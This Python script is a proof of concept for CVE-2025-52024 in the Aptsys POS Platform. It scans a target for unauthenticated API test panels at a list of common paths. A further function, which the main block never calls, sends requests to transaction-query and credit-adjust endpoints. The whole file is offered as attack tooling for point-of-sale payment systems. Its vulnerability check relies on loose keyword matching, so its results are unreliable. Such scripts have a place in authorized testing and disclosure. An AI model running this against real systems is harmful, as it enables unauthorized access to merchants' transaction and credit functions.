import requests
import sys
import re
# CVE-2025-52024 PoC - Aptsys POS Platform Unauthorized API Access
# Target: Aptsys POS Platform Web Services (versions before 2025-05-28)
def check_vulnerability(target_url):
"""
Check if the target is vulnerable to CVE-2025-52024
Tests for exposed API testing endpoints
"""
print(f"[*] Testing target: {target_url}")
print(f"[*] CVE-2025-52024 - Unauthenticated API Test Panel Access\n")
# Common API test endpoint paths to test
test_paths = [
"/api-test",
"/api/test",
"/debug/api",
"/internal/api",
"/services/api",
"/admin/api-console",
"/web-services/test",
"/pos/api-test"
]
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
vulnerable_endpoints = []
for path in test_paths:
url = target_url.rstrip('/') + path
try:
response = requests.get(url, headers=headers, timeout=10, verify=False)
if response.status_code == 200:
# Check if response contains API test interface indicators
content = response.text.lower()
indicators = ['api', 'service', 'form', 'submit', 'test', 'endpoint']
matches = sum(1 for ind in indicators if ind in content)
if matches >= 3:
print(f"[+] VULNERABLE: {url}")
print(f" Status: {response.status_code}")
print(f" Content-Length: {len(response.text)}")
vulnerable_endpoints.append(url)
# Extract service list if available
if 'service' in content or 'endpoint' in content:
print(f" [+] API test interface detected - services may be enumerated")
else:
print(f"[-] Not vulnerable: {url}")
else:
print(f"[-] Endpoint not accessible: {url} (Status: {response.status_code})")
except requests.exceptions.RequestException as e:
print(f"[!] Error accessing {url}: {e}")
if vulnerable_endpoints:
print(f"\n[!] Target is VULNERABLE to CVE-2025-52024")
print(f"[!] Found {len(vulnerable_endpoints)} exposed API test endpoints")
print(f"[!] Attackers can access internal API functions without authentication")
return True
else:
print(f"\n[-] Target appears NOT vulnerable")
return False
def exploit_api_endpoints(base_url, endpoint):
"""
Attempt to enumerate and interact with exposed API endpoints
Note: This is for authorized security testing only
"""
print(f"\n[*] Enumerating API services at: {endpoint}")
# Common API operations that could be exploited
test_operations = [
("/transactions/query", "POST", {"user_id": "*"}),
("/credit/adjust", "POST", {"amount": 0}),
("/pos/action", "POST", {"operation": "status"}),
("/internal/query", "GET", {})
]
for path, method, data in test_operations:
url = base_url + path
try:
if method == "GET":
resp = requests.get(url, timeout=10, verify=False)
else:
resp = requests.post(url, json=data, timeout=10, verify=False)
if resp.status_code in [200, 201]:
print(f"[+] API accessible: {path} - Status: {resp.status_code}")
print(f" Response preview: {resp.text[:200]}...")
except:
pass
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve-2025-52024-poc.py <target_url>")
print("Example: python cve-2025-52024-poc.py https://pos.example.com")
sys.exit(1)
target = sys.argv[1]
check_vulnerability(target)